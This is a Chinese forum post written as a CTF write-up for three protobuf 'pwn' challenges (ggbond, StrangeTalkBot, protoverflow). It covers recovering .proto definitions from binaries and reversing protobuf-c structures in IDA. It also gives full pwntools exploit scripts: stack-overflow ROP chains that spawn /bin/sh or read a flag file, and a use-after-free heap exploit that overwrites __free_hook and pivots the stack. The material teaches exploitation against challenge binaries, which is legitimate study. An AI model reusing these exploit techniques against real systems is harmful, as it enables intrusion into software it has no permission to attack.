protobuf pwn题专项

打印 上一主题 下一主题

主题 912|帖子 912|积分 2736

protobuf pwn

预备工作

安装protobuf编译器
  1. sudo apt-get install libprotobuf-dev protobuf-compiler  
复制代码
安装python依靠库
  1. pip3 install grpcio
  2. pip3 install grpcio-tools googleapis-common-protos
复制代码
安装pbtk
  1. git clone https://github.com/marin-m/pbtk
复制代码
ggbond

来自DubheCTF2024的一道GO protobuf题
提取proto文件

如果pbtk的图形化界面打不开,也可以用下令行,切换到pbtk的extractors目录下,输入下面下令举行提取
  1. ./from_binary.py input_file [output_dir]
复制代码
得到ggbond.proto
  1. syntax = "proto3";
  2. package GGBond;
  3. option go_package = "./;ggbond";
  4. service GGBondServer {
  5.     rpc Handler(Request) returns (Response);
  6. }
  7. message Request {
  8.     oneof request {
  9.         WhoamiRequest whoami = 100;
  10.         RoleChangeRequest role_change = 101;
  11.         RepeaterRequest repeater = 102;
  12.     }
  13. }
  14. message Response {
  15.     oneof response {
  16.         WhoamiResponse whoami = 200;
  17.         RoleChangeResponse role_change = 201;
  18.         RepeaterResponse repeater = 202;
  19.         ErrorResponse error = 444;
  20.     }
  21. }
  22. message WhoamiRequest {
  23.    
  24. }
  25. message WhoamiResponse {
  26.     string message = 2000;
  27. }
  28. message RoleChangeRequest {
  29.     uint32 role = 1001;
  30. }
  31. message RoleChangeResponse {
  32.     string message = 2001;
  33. }
  34. message RepeaterRequest {
  35.     string message = 1002;
  36. }
  37. message RepeaterResponse {
  38.     string message = 2002;
  39. }
  40. message ErrorResponse {
  41.     string message = 4444;
  42. }
复制代码
切到.proto文件的目录,输入下面下令
  1. python3 -m grpc_tools.protoc -I . --python_out=. --grpc_python_out=. ggbond.proto
复制代码
编译得到py文件
分析程序逻辑

IDA定位到程序main_main入口

grpc创建服务这里能看到ptr_main_server,跟进可以发现main__ptr_server_Handler,结合proto文件可知这个是rpc业务逻辑处理函数,也就是我们重要分析的代码
根据逆向可以得到程序的大致逻辑:
程序有三种消息格式:

  • Whoami:打印当前的规则
  • RoleChange:更改当前的规则(一共有四种规则,0到3)
  • Repeater:发送信息 ,但仅在规则3下服务器才处理收到的信息
导入依靠文件,写出交互函数
  1. import grpc
  2. import ggbond_pb2
  3. import ggbond_pb2_grpc
  4. import base64
  5. channel_port = "127.0.0.1:23334"
  6. def who():
  7.     channel = grpc.insecure_channel(channel_port)
  8.     stub = ggbond_pb2_grpc.GGBondServerStub(channel)
  9.     request = ggbond_pb2.Request()
  10.     request.whoami.CopyFrom(ggbond_pb2.WhoamiRequest())
  11.     response = stub.Handler(request)
  12.     print("Response from Handler:", response)
  13. def Role(ty):
  14.     channel = grpc.insecure_channel(channel_port)
  15.     stub = ggbond_pb2_grpc.GGBondServerStub(channel)
  16.     request = ggbond_pb2.Request()
  17.     request.role_change.CopyFrom(ggbond_pb2.RoleChangeRequest(role=ty))
  18.     response = stub.Handler(request)
  19.     print("Response from Handler:", response)
  20. def Rep(data):
  21.     channel = grpc.insecure_channel(channel_port)
  22.     stub = ggbond_pb2_grpc.GGBondServerStub(channel)
  23.     request = ggbond_pb2.Request()
  24.     request.repeater.CopyFrom(ggbond_pb2.RepeaterRequest(message=data))
  25.     stub.Handler(request)
复制代码
接下来我们看规则3下服务器是如何处理发送的信息的

将发送的信息base64解码之后有个栈上的copy,很明显这里有溢出,v47指向栈上的变量v73,得到溢出偏移为0xC8

接下来就是通例go题的ret2syscall了
exp脚本

提供了shell和ORW两种打法
  1. from pwn import *import grpc
  2. import ggbond_pb2
  3. import ggbond_pb2_grpc
  4. import base64
  5. channel_port = "127.0.0.1:23334"
  6. def who():
  7.     channel = grpc.insecure_channel(channel_port)
  8.     stub = ggbond_pb2_grpc.GGBondServerStub(channel)
  9.     request = ggbond_pb2.Request()
  10.     request.whoami.CopyFrom(ggbond_pb2.WhoamiRequest())
  11.     response = stub.Handler(request)
  12.     print("Response from Handler:", response)
  13. def Role(ty):
  14.     channel = grpc.insecure_channel(channel_port)
  15.     stub = ggbond_pb2_grpc.GGBondServerStub(channel)
  16.     request = ggbond_pb2.Request()
  17.     request.role_change.CopyFrom(ggbond_pb2.RoleChangeRequest(role=ty))
  18.     response = stub.Handler(request)
  19.     print("Response from Handler:", response)
  20. def Rep(data):
  21.     channel = grpc.insecure_channel(channel_port)
  22.     stub = ggbond_pb2_grpc.GGBondServerStub(channel)
  23.     request = ggbond_pb2.Request()
  24.     request.repeater.CopyFrom(ggbond_pb2.RepeaterRequest(message=data))
  25.     stub.Handler(request)context(arch = "amd64",os = "linux",log_level = "debug")#context.terminal = ['tmux','splitw','-h']context.terminal = ['gnome-terminal', '-x', 'sh', '-c']file = "./ggbond"p = process(file)elf = ELF(file)#gdb.debug(file, "b *0x7EE028\nb *0x7ED9D9")Role(3)rax = 0x00000000004101e6rdi = 0x0000000000401537rsi = 0x0000000000422398rdx = 0x0000000000461bd1syscall = 0x000000000040452c# ROPgadget --string "flag\x00" --binary ggbondflag = 0x00000000007f95babuf = elf.bss(0x800)# systemrop = b'a'*0x68 + b'\x00'*0x60rop += p64(rax) + p64(0) + p64(rdi) + p64(0) + p64(rsi) + p64(buf) + p64(rdx) + p64(0x100) + p64(syscall)rop += p64(rax) + p64(59) + p64(rdi) + p64(buf) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(syscall)# ORW""" rop = b'a'*0xc8rop += p64(rax) + p64(2) + p64(rdi) + p64(flag) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(syscall)rop += p64(rax) + p64(0) + p64(rdi) + p64(8) + p64(rsi) + p64(buf) + p64(rdx) + p64(0x100) + p64(syscall)rop += p64(rax) + p64(1) + p64(rdi) + p64(1) + p64(rsi) + p64(buf) + p64(rdx) + p64(0x100) + p64(syscall) """p.send('/bin/sh\x00')try:    Rep(base64.b64encode(rop))except:    p.interactive()
复制代码
StrangeTalkBot

一道CISCN2023初赛的C protobuf堆题,我觉得难点更多是在逆向部分(还原proto内容)
还原proto文件

查看主函数
  1. void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
  2. {
  3.   unsigned __int64 v3; // [rsp+0h] [rbp-10h]
  4.   char *v4; // [rsp+8h] [rbp-8h]
  5.   sub_1763();
  6.   while ( 1 )
  7.   {
  8.     memset(byte_A060, 0, sizeof(byte_A060));
  9.     puts("You can try to have friendly communication with me now: ");
  10.     v3 = read(0, byte_A060, 0x400uLL);
  11.     v4 = sub_192D(0LL, v3, byte_A060);
  12.     if ( !v4 )
  13.       break;
  14.     sub_155D(*(v4 + 3), *(v4 + 4), *(v4 + 5), *(v4 + 6), *(v4 + 7));
  15.   }
  16.   sub_1329();
  17. }
复制代码
循环read读到byte_A060,然后函数sub_192D处理读入的字节。跟进可以发现sub_192D就是解析protobuf字节流的函数,返回对应的C结构体
为了理解protobuf在c是如何工作的,我下载了protobuf-c编译器以及protobuf-c的git项目(这里是为了得到一些关键的头文件定义
  1. sudo apt install protobuf-c-compiler
  2. git clone https://github.com/protobuf-c/protobuf-c.git
复制代码
接着我定义了一个测试proto文件并编译得到.h和.c文件
  1. syntax = "proto2";
  2. message testMessage {
  3.     required string name = 1;
  4.     required sint64 id = 2;
  5.     required bytes buffer = 3;
  6.     required uint32 size = 4;
  7. }
复制代码
test.pb-c.h
  1. /* Generated by the protocol buffer compiler.  DO NOT EDIT! */
  2. /* Generated from: test.proto */
  3. #ifndef PROTOBUF_C_test_2eproto__INCLUDED
  4. #define PROTOBUF_C_test_2eproto__INCLUDED
  5. #include <protobuf-c/protobuf-c.h>
  6. PROTOBUF_C__BEGIN_DECLS
  7. #if PROTOBUF_C_VERSION_NUMBER < 1000000
  8. # error This file was generated by a newer version of protoc-c which is incompatible with your libprotobuf-c headers. Please update your headers.
  9. #elif 1003003 < PROTOBUF_C_MIN_COMPILER_VERSION
  10. # error This file was generated by an older version of protoc-c which is incompatible with your libprotobuf-c headers. Please regenerate this file with a newer version of protoc-c.
  11. #endif
  12. typedef struct _TestMessage TestMessage;
  13. /* --- enums --- */
  14. /* --- messages --- */
  15. struct  _TestMessage
  16. {
  17.   ProtobufCMessage base;
  18.   char *name;
  19.   int64_t id;
  20.   ProtobufCBinaryData buffer;
  21.   uint32_t size;
  22. };
  23. #define TEST_MESSAGE__INIT \
  24. { PROTOBUF_C_MESSAGE_INIT (&test_message__descriptor) \
  25.     , NULL, 0, {0,NULL}, 0 }
  26. /* TestMessage methods */
  27. void   test_message__init
  28.                      (TestMessage         *message);
  29. size_t test_message__get_packed_size
  30.                      (const TestMessage   *message);
  31. size_t test_message__pack
  32.                      (const TestMessage   *message,
  33.                       uint8_t             *out);
  34. size_t test_message__pack_to_buffer
  35.                      (const TestMessage   *message,
  36.                       ProtobufCBuffer     *buffer);
  37. TestMessage *
  38.        test_message__unpack
  39.                      (ProtobufCAllocator  *allocator,
  40.                       size_t               len,
  41.                       const uint8_t       *data);
  42. void   test_message__free_unpacked
  43.                      (TestMessage *message,
  44.                       ProtobufCAllocator *allocator);
  45. /* --- per-message closures --- */
  46. typedef void (*TestMessage_Closure)
  47.                  (const TestMessage *message,
  48.                   void *closure_data);
  49. /* --- services --- */
  50. /* --- descriptors --- */
  51. extern const ProtobufCMessageDescriptor test_message__descriptor;
  52. PROTOBUF_C__END_DECLS
  53. #endif  /* PROTOBUF_C_test_2eproto__INCLUDED */
复制代码
test.pb-c.c
  1. /* Generated by the protocol buffer compiler.  DO NOT EDIT! */
  2. /* Generated from: test.proto */
  3. /* Do not generate deprecated warnings for self */
  4. #ifndef PROTOBUF_C__NO_DEPRECATED
  5. #define PROTOBUF_C__NO_DEPRECATED
  6. #endif
  7. #include "test.pb-c.h"
  8. void   test_message__init
  9.                      (TestMessage         *message)
  10. {
  11.   static const TestMessage init_value = TEST_MESSAGE__INIT;
  12.   *message = init_value;
  13. }
  14. size_t test_message__get_packed_size
  15.                      (const TestMessage *message)
  16. {
  17.   assert(message->base.descriptor == &test_message__descriptor);
  18.   return protobuf_c_message_get_packed_size ((const ProtobufCMessage*)(message));
  19. }
  20. size_t test_message__pack
  21.                      (const TestMessage *message,
  22.                       uint8_t       *out)
  23. {
  24.   assert(message->base.descriptor == &test_message__descriptor);
  25.   return protobuf_c_message_pack ((const ProtobufCMessage*)message, out);
  26. }
  27. size_t test_message__pack_to_buffer
  28.                      (const TestMessage *message,
  29.                       ProtobufCBuffer *buffer)
  30. {
  31.   assert(message->base.descriptor == &test_message__descriptor);
  32.   return protobuf_c_message_pack_to_buffer ((const ProtobufCMessage*)message, buffer);
  33. }
  34. TestMessage *
  35.        test_message__unpack
  36.                      (ProtobufCAllocator  *allocator,
  37.                       size_t               len,
  38.                       const uint8_t       *data)
  39. {
  40.   return (TestMessage *)
  41.      protobuf_c_message_unpack (&test_message__descriptor,
  42.                                 allocator, len, data);
  43. }
  44. void   test_message__free_unpacked
  45.                      (TestMessage *message,
  46.                       ProtobufCAllocator *allocator)
  47. {
  48.   if(!message)
  49.     return;
  50.   assert(message->base.descriptor == &test_message__descriptor);
  51.   protobuf_c_message_free_unpacked ((ProtobufCMessage*)message, allocator);
  52. }
  53. static const ProtobufCFieldDescriptor test_message__field_descriptors[4] =
  54. {
  55.   {
  56.     "name",
  57.     1,
  58.     PROTOBUF_C_LABEL_REQUIRED,
  59.     PROTOBUF_C_TYPE_STRING,
  60.     0,   /* quantifier_offset */
  61.     offsetof(TestMessage, name),
  62.     NULL,
  63.     NULL,
  64.     0,             /* flags */
  65.     0,NULL,NULL    /* reserved1,reserved2, etc */
  66.   },
  67.   {
  68.     "id",
  69.     2,
  70.     PROTOBUF_C_LABEL_REQUIRED,
  71.     PROTOBUF_C_TYPE_SINT64,
  72.     0,   /* quantifier_offset */
  73.     offsetof(TestMessage, id),
  74.     NULL,
  75.     NULL,
  76.     0,             /* flags */
  77.     0,NULL,NULL    /* reserved1,reserved2, etc */
  78.   },
  79.   {
  80.     "buffer",
  81.     3,
  82.     PROTOBUF_C_LABEL_REQUIRED,
  83.     PROTOBUF_C_TYPE_BYTES,
  84.     0,   /* quantifier_offset */
  85.     offsetof(TestMessage, buffer),
  86.     NULL,
  87.     NULL,
  88.     0,             /* flags */
  89.     0,NULL,NULL    /* reserved1,reserved2, etc */
  90.   },
  91.   {
  92.     "size",
  93.     4,
  94.     PROTOBUF_C_LABEL_REQUIRED,
  95.     PROTOBUF_C_TYPE_UINT32,
  96.     0,   /* quantifier_offset */
  97.     offsetof(TestMessage, size),
  98.     NULL,
  99.     NULL,
  100.     0,             /* flags */
  101.     0,NULL,NULL    /* reserved1,reserved2, etc */
  102.   },
  103. };
  104. static const unsigned test_message__field_indices_by_name[] = {
  105.   2,   /* field[2] = buffer */
  106.   1,   /* field[1] = id */
  107.   0,   /* field[0] = name */
  108.   3,   /* field[3] = size */
  109. };
  110. static const ProtobufCIntRange test_message__number_ranges[1 + 1] =
  111. {
  112.   { 1, 0 },
  113.   { 0, 4 }
  114. };
  115. const ProtobufCMessageDescriptor test_message__descriptor =
  116. {
  117.   PROTOBUF_C__MESSAGE_DESCRIPTOR_MAGIC,
  118.   "testMessage",
  119.   "TestMessage",
  120.   "TestMessage",
  121.   "",
  122.   sizeof(TestMessage),
  123.   4,
  124.   test_message__field_descriptors,
  125.   test_message__field_indices_by_name,
  126.   1,  test_message__number_ranges,
  127.   (ProtobufCMessageInit) test_message__init,
  128.   NULL,NULL,NULL    /* reserved[123] */
  129. };
复制代码
生成的代码有点冗长,对逆向有帮助的重要在test.pb-c.c文件内里,声明了很多静态全局变量,例如形貌消息字段的test_message__field_indices_by_name数组以及形貌消息的全局变量test_message__descriptor,其中形貌消息的全局变量第一个成员是常量PROTOBUF_C__MESSAGE_DESCRIPTOR_MAGIC = 0x28AAEEF9,用IDA全局搜索该常量

很明显在我们要找的是在数据段的结果,而在该常量上面就是我们须要的消息字段形貌结构体数组
如今我们知道形貌消息中单个字段的结构体叫ProtobufCFieldDescriptor,从这个结构体中我们能提取到ProtobufCLabel和ProtobufCType这两个重要的枚举类型,下面的代码同时也给出了ProtobufCFieldDescriptor的结构体定义,我们将这三个结构体导入到IDA中
  1. enum ProtobufCLabel
  2. {
  3.   PROTOBUF_C_LABEL_REQUIRED = 0x0,      ///< A well-formed message must have exactly one of this field.
  4.   PROTOBUF_C_LABEL_OPTIONAL = 0x1,      ///< A well-formed message can have zero or one of this field (but not
  5.                                         ///< more than one).
  6.   PROTOBUF_C_LABEL_REPEATED = 0x2,      ///< This field can be repeated any number of times (including zero) in a
  7.                                         ///< well-formed message. The order of the repeated values will be
  8.                                         ///< preserved.
  9.   PROTOBUF_C_LABEL_NONE = 0x3,          ///< This field has no label. This is valid only in proto3 and is
  10.                                         ///< equivalent to OPTIONAL but no "has" quantifier will be consulted.
  11. };
  12. enum ProtobufCType
  13. {
  14.   PROTOBUF_C_TYPE_INT32 = 0x0,          ///< int32
  15.   PROTOBUF_C_TYPE_SINT32 = 0x1,         ///< signed int32
  16.   PROTOBUF_C_TYPE_SFIXED32 = 0x2,       ///< signed int32 (4 bytes)
  17.   PROTOBUF_C_TYPE_INT64 = 0x3,          ///< int64
  18.   PROTOBUF_C_TYPE_SINT64 = 0x4,         ///< signed int64
  19.   PROTOBUF_C_TYPE_SFIXED64 = 0x5,       ///< signed int64 (8 bytes)
  20.   PROTOBUF_C_TYPE_UINT32 = 0x6,         ///< unsigned int32
  21.   PROTOBUF_C_TYPE_FIXED32 = 0x7,        ///< unsigned int32 (4 bytes)
  22.   PROTOBUF_C_TYPE_UINT64 = 0x8,         ///< unsigned int64
  23.   PROTOBUF_C_TYPE_FIXED64 = 0x9,        ///< unsigned int64 (8 bytes)
  24.   PROTOBUF_C_TYPE_FLOAT = 0xA,          ///< float
  25.   PROTOBUF_C_TYPE_DOUBLE = 0xB,         ///< double
  26.   PROTOBUF_C_TYPE_BOOL = 0xC,           ///< boolean
  27.   PROTOBUF_C_TYPE_ENUM = 0xD,           ///< enumerated type
  28.   PROTOBUF_C_TYPE_STRING = 0xE,         ///< UTF-8 or ASCII string
  29.   PROTOBUF_C_TYPE_BYTES = 0xF,          ///< arbitrary byte sequence
  30.   PROTOBUF_C_TYPE_MESSAGE = 0x10,       ///< nested message
  31. };
  32. struct ProtobufCFieldDescriptor {
  33.         /** Name of the field as given in the .proto file. */
  34.         const char                *name;
  35.         /** Tag value of the field as given in the .proto file. */
  36.         uint32_t                id;
  37.         /** Whether the field is `REQUIRED`, `OPTIONAL`, or `REPEATED`. */
  38.         ProtobufCLabel                label;
  39.         /** The type of the field. */
  40.         ProtobufCType                type;
  41.         /**
  42.          * The offset in bytes of the message's C structure's quantifier field
  43.          * (the `has_MEMBER` field for optional members or the `n_MEMBER` field
  44.          * for repeated members or the case enum for oneofs).
  45.          */
  46.         unsigned                quantifier_offset;
  47.         /**
  48.          * The offset in bytes into the message's C structure for the member
  49.          * itself.
  50.          */
  51.         unsigned                offset;
  52.         const void                *descriptor; /* for MESSAGE and ENUM types */
  53.         /** The default value for this field, if defined. May be NULL. */
  54.         const void                *default_value;
  55.         uint32_t                flags;
  56.         /** Reserved for future use. */
  57.         unsigned                reserved_flags;
  58.         /** Reserved for future use. */
  59.         void                        *reserved2;
  60.         /** Reserved for future use. */
  61.         void                        *reserved3;
  62. };
复制代码
然后还原消息字段形貌结构体数组

由此可以还原出程序的proto文件如下
  1. syntax = "proto2";
  2. message Devicemsg {
  3.     required sint64 actionid = 1;
  4.     required sint64 msgidx = 2;
  5.     required sint64 msgsize = 3;
  6.     required bytes msgcontent = 4;
  7. }
复制代码
最后用protoc编译该proto文件为py代码
可知sub_192D处理后返回的C语言结构体布局如下
  1. struct  _Devicemsg
  2. {
  3.   ProtobufCMessage base;  //这个在IDA导入时可以用 unint64_t base[3]; 代替
  4.   int64_t actionid;
  5.   int64_t msgidx;
  6.   int64_t msgsize;
  7.   ProtobufCBinaryData msgcontent;
  8. };
  9. struct ProtobufCBinaryData {
  10.         size_t        len;        /**< Number of bytes in the `data` field. */
  11.         uint8_t        *data;      /**< Data bytes. */
  12. };
复制代码
将该结构体导入IDA,设置main函数v4的类型为Devicemsg*

分析程序逻辑

看NSS讨论区说是2.31-0ubuntu9.9_amd64,glibc all in one没能找到这个版本,所以用的是2.31-0ubuntu9.15_amd64,虽然版本存在小差异,但思路是差不多的
通例的堆题菜单且delete存在UAF
存在这些限制:

  • 只能创建 0x21 个堆
  • 堆的巨细和msgcontent长度不能超过 0xf1
  • 程序开启了沙盒禁用了execve调用
因为禁用了execve,所以不能打ogg大概system

利用思路也很清晰:

  • 填满tcache然后再free一个堆到unsorted bin,通过UAF leak出libc
  • 写free_hook利用magic_gadget举行栈迁徙
  • 打ORW ROP
exp脚本
  1. from pwn import *
  2. def debug(c = 0):
  3.     if(c):
  4.         gdb.attach(p, c)
  5.     else:
  6.         gdb.attach(p)
  7. def get_addr():
  8.     return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
  9. def get_sb():
  10.     return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
  11. #-----------------------------------------------------------------------------------------
  12. sd = lambda data : p.send(data)
  13. sa  = lambda text,data  :p.sendafter(text, data)
  14. sl  = lambda data   :p.sendline(data)
  15. sla = lambda text,data  :p.sendlineafter(text, data)
  16. rc   = lambda num=4096   :p.recv(num)
  17. ru  = lambda text   :p.recvuntil(text)
  18. rl  = lambda         :p.recvline()
  19. pr = lambda num=4096 :print(p.recv(num))
  20. inter   = lambda        :p.interactive()
  21. l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
  22. l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
  23. uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
  24. uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
  25. int16   = lambda data   :int(data,16)
  26. lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
  27. #-----------------------------------------------------------------------------------------
  28. context(arch = "amd64",os = "linux",log_level = "debug")
  29. #context.terminal = ['tmux','splitw','-h']
  30. context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
  31. file = "./service"
  32. libc = "./libc.so.6"
  33. #cmd = ""
  34. #p = gdb.debug(file, cmd)
  35. p = process(file)
  36. elf = ELF(file)
  37. libc = ELF(libc)
  38. #p = remote("node4.anna.nssctf.cn", 28245)
  39. import message_pb2
  40. def add(i,s,c):
  41.         msg = message_pb2.Devicemsg()
  42.         msg.actionid = 1
  43.         msg.msgidx = i
  44.         msg.msgsize = s
  45.         msg.msgcontent = c
  46.         sa(': \n',msg.SerializeToString())
  47. def free(i):
  48.         msg = message_pb2.Devicemsg()
  49.         msg.actionid = 4
  50.         msg.msgidx = i
  51.         msg.msgsize = 0
  52.         msg.msgcontent = b''
  53.         sa(': \n',msg.SerializeToString())
  54. def show(i):
  55.         msg = message_pb2.Devicemsg()
  56.         msg.actionid = 3
  57.         msg.msgidx = i
  58.         msg.msgsize = 0
  59.         msg.msgcontent = b''
  60.         sa(': \n',msg.SerializeToString())
  61. def edit(i,c):
  62.         msg = message_pb2.Devicemsg()
  63.         msg.actionid = 2
  64.         msg.msgidx = i
  65.         msg.msgsize = 0
  66.         msg.msgcontent = c
  67.         sa(': \n',msg.SerializeToString())
  68. for i in range(8):
  69.         add(i,0xf0,b'')
  70. for i in range(8):
  71.         free(i)
  72. show(7)
  73. rc(0x50)
  74. libc_base = uu64()-0x1ecbe0
  75. lg("libc_base", libc_base)
  76. show(0)
  77. rc(8)
  78. heap_base = uu64() - 0x10
  79. lg('heap_base',heap_base)
  80. pop_rdi_ret = libc_base+0x0000000000023b6a
  81. pop_rsi_ret = libc_base+0x000000000002601f
  82. pop_rdx_r12_ret = libc_base+0x0000000000119431
  83. pop_rax_ret = libc_base+0x0000000000036174
  84. syscall_ret = libc_base+0x00000000000630a9
  85. payload = p64(libc_base+libc.sym["__free_hook"]) + flat([
  86.         libc_base+0x0000000000025b9b,
  87.         0,
  88.         heap_base+0xad0,
  89.         pop_rdi_ret,
  90.         heap_base+0xad0,
  91.         pop_rsi_ret,
  92.         0,
  93.         pop_rdx_r12_ret,
  94.         0,
  95.         0,
  96.         pop_rax_ret,
  97.         2,
  98.         syscall_ret, # open
  99.         pop_rdi_ret,
  100.         3,
  101.         pop_rsi_ret,
  102.         heap_base+0xad0,
  103.         pop_rdx_r12_ret,
  104.         0x30,
  105.         0,
  106.         pop_rax_ret,
  107.         0,
  108.         syscall_ret, # read
  109.         pop_rdi_ret,
  110.         1,
  111.         pop_rax_ret,
  112.         1,
  113.         syscall_ret, # write
  114. ])
  115. edit(6, payload)
  116. debug("b *$rebase(0x1561)")
  117. payload = flat({
  118.         0x00: 0x67616c662f2e, # ./flag
  119.         0x28: libc_base+0x00000000000578c8,
  120.         0x48: heap_base+0xfa0
  121. }).ljust(0x50, b'\x00')
  122. add(8, 0xf0, payload)
  123. magic_gadget = libc_base+0x15500A
  124. """
  125. mov     rbp, [rdi+48h]
  126. mov     rax, [rbp+18h]
  127. lea     r13, [rbp+10h]
  128. mov     dword ptr [rbp+10h], 0
  129. mov     rdi, r13
  130. call    qword ptr [rax+28h]
  131. """
  132. add(9,0xf0,p64(magic_gadget))
  133. free(8)
  134. inter()
复制代码
protoverflow

CISCN2024 华中半决赛的题,C++ protobuf题,标题不难溢出点很明显,惋惜当时因为python环境有题目导致没能写出来(哭哭
提取protobuf文件

和GO语言那道一样直接脚本提取得到proto文件
  1. syntax = "proto2";
  2. message protoMessage {
  3.     optional string name = 1;
  4.     optional string phoneNumber = 2;
  5.     required bytes buffer = 3;
  6.     required uint32 size = 4;
  7. }
复制代码
分析程序逻辑

主函数很简单,先泄露libc然后读取用户输入,再解析protobuf流

之后的处理函数中memcpy存在很明显的栈溢出,直接打ret2libc即可

exp脚本
  1. from pwn import *
  2. import struct
  3. def debug(c = 0):
  4.     if(c):
  5.         gdb.attach(p, c)
  6.     else:
  7.         gdb.attach(p)
  8. def get_addr():
  9.     return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
  10. def get_sb():
  11.     return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
  12. #-----------------------------------------------------------------------------------------
  13. sd = lambda data : p.send(data)
  14. sa  = lambda text,data  :p.sendafter(text, data)
  15. sl  = lambda data   :p.sendline(data)
  16. sla = lambda text,data  :p.sendlineafter(text, data)
  17. rc   = lambda num=4096   :p.recv(num)
  18. ru  = lambda text   :p.recvuntil(text)
  19. rl  = lambda         :p.recvline()
  20. pr = lambda num=4096 :print(p.recv(num))
  21. inter   = lambda        :p.interactive()
  22. l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
  23. l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
  24. uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
  25. uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
  26. int16   = lambda data   :int(data,16)
  27. lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
  28. #-----------------------------------------------------------------------------------------
  29. import message_pb2
  30. context(arch = "amd64",os = "linux",log_level = "debug")
  31. #context.terminal = ['tmux','splitw','-h']
  32. context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
  33. file = './pwn'
  34. p = process([file], env= {"LD_LIBRARY_PATH":"./"})
  35. elf = ELF(file)
  36. libc = ELF(p.libc.path)
  37. # debug('b *$rebase(0x332f)')
  38. ru(b'0x')
  39. libc_base = int(rc(12), 16) - libc.sym['puts']
  40. lg('libc_base', libc_base)
  41. rdi = libc_base + 0x000000000002a3e5
  42. ret = rdi + 1
  43. system, binsh = get_sb()
  44. pl = b'a'*0x218
  45. pl += p64(ret) + p64(rdi) + p64(binsh) + p64(system)
  46. msg = message_pb2.protoMessage()
  47. msg.name="1"
  48. msg.phoneNumber="2"
  49. msg.buffer = pl
  50. msg.size = len(pl)
  51. serialized_msg = msg.SerializeToString()
  52. sd(serialized_msg)
  53. inter()
复制代码
参考文章:python底子--protobuf的使用(一)_protobuf py-CSDN博客
【Python进阶学习】gRPC的基本使用教程_grpc 同一个链接 保持变量参数-CSDN博客

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

我可以不吃啊

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表